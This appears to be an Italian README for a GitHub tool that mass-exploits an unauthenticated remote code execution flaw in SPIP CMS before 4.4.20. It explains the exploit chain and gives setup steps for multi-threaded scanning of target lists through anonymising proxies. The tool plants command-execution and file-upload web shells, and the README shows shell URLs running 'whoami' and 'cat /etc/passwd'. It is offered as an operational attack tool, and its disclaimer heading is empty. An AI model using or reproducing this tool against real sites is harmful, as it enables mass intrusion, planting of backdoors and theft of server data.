CVE-2026-77647

SPIP prima della 4.4.20 consente ad attaccanti remoti non autenticati di eseguire codice arbitrario

🔴 CVE-2026-77647 — Esecuzione di codice remoto non autenticata in SPIP

Esecuzione di codice remoto pre-autenticazione in SPIP CMS — Tutte le versioni precedenti alla 4.4.20

---

📋 Panoramica

CVE-2026-77647 è una vulnerabilità critica di esecuzione di codice remoto (RCE) non autenticata che interessa tutte le versioni di SPIP CMS precedenti alla 4.4.20.

La falla consente a un attaccante remoto — senza alcuna autenticazione o interazione dell'utente — di eseguire codice PHP arbitrario sul server di destinazione. È stata attivamente sfruttata in the wild a partire da agosto 2026, spingendo il team di SPIP a rilasciare una patch di emergenza.

Questo strumento automatizza il rilevamento e lo sfruttamento di questa vulnerabilità su più target con concorrenza configurabile.

---

🛡️ Dettagli della vulnerabilità

Campo	Dettagli
CVE ID	CVE-2026-77647
Software interessato	SPIP CMS
Versioni interessate	Tutte le versioni precedenti alla 4.4.20
Tipo	Esecuzione di codice remoto (RCE) non autenticata
CWE	CWE-94 — Controllo improprio della generazione di codice (Code Injection)
Punteggio CVSS 3.1	9.8 / 10 — CRITICO
Vettore CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Autenticazione	Nessuna richiesta (Pre-Auth)
Sfruttamento	Attivamente sfruttata in the wild (agosto 2026)
Patch	SPIP 4.4.20 (Advisory)

---

⚙️ Analisi del CVSS 3.1

Metrica	Valore	Significato
Vettore di attacco	Network	Sfruttabile da remoto via internet
Complessità di attacco	Bassa	Nessuna condizione particolare richiesta
Privilegi richiesti	Nessuno	Nessuna autenticazione necessaria
Interazione utente	Nessuna	Nessuna azione della vittima richiesta
Ambito	Invariato	Impatto limitato al sistema vulnerabile
Riservatezza	Alta	Accesso completo in lettura a tutti i dati
Integrità	Alta	Accesso completo in scrittura / modifica
Disponibilità	Alta	Completa negazione del servizio possibile

---

🔬 Analisi tecnica

Causa principale

La vulnerabilità deriva da due problemi interagenti nel motore di template di SPIP:

1. Identificazione errata dei blocchi <?php — il motore di template di SPIP non riesce a sanificare correttamente i tag di apertura PHP all'interno di input controllati dall'utente, in particolare nel parametro di ricerca (recherche).

2. Gestione errata di var_export — la funzione var_export() di PHP gestisce in modo errato alcuni casi limite, in particolare quando l'input contiene il carattere <, consentendo l'iniezione di codice PHP eseguibile.

Catena di sfruttamento

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

L'attaccante invia un payload appositamente costruito tramite la funzionalità di ricerca di SPIP (?page=recherche&recherche=PAYLOAD). Il payload sfrutta il meccanismo dell'header HTTP X-Spip-Filtre per attivare html_entity_decode, che decodifica il codice PHP iniettato. Il codice decodificato viene quindi valutato dal motore di rendering dei template di SPIP, ottenendo l'esecuzione di codice arbitrario.

Flusso dell'attacco

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Utilizzo

Requisiti

• Python 3.7+
• Libreria requests

Installazione

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Preparare i Target

Crea un file chiamato list.txt (o qualsiasi nome personalizzato) con un target per riga:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Nota: I target senza schema (http:// o https://) useranno http:// come predefinito.

Esecuzione

python CVE-2026-77647.py

Configurazione interattiva

Lo strumento ti chiederà:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

Velocità	Thread	Timeout	Profilo
1 — Lenta	5	25s	🔇 Furtivo
2 — Normale	10	15s	⚖️ Bilanciato
3 — Veloce	25	12s	⚡ Aggressivo
4 — Ultra	50	10s	🔥 Massimo

[?] Proxy (blank = none): socks5://127.0.0.1:9050

Supporta proxy HTTP/HTTPS/SOCKS per l'anonimizzazione.

Output

I risultati ottenuti con successo vengono salvati in shells.txt:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Accesso alla Shell

Esecuzione dei comandi:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Interfaccia di caricamento file:

https://target.com/Nx_.php?k=nXk

🎯 Funzionalità

• 🔍 Rilevamento automatico della versione di SPIP tramite header Composed-By e fingerprinting della pagina
• 🛡️ Salto delle versioni corrette — salta automaticamente SPIP ≥ 4.4.20
• 📝 Doppio deployment della shell — shell per l'esecuzione di comandi + shell per l'upload di file
• 📂 Scrittura su più percorsi — tenta le directory root, IMG/, tmp/ e local/
• ⚡ Scansione multi-thread — da 5 a 50 thread concorrenti configurabili
• 🌐 Supporto proxy — routing tramite proxy HTTP, HTTPS e SOCKS
• 📊 Stato in tempo reale — avanzamento live con output del terminale colorato
• 💾 Salvataggio automatico dei risultati — tutte le shell confermate salvate nel file di output

---

📚 Riferimenti

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ Disclaimer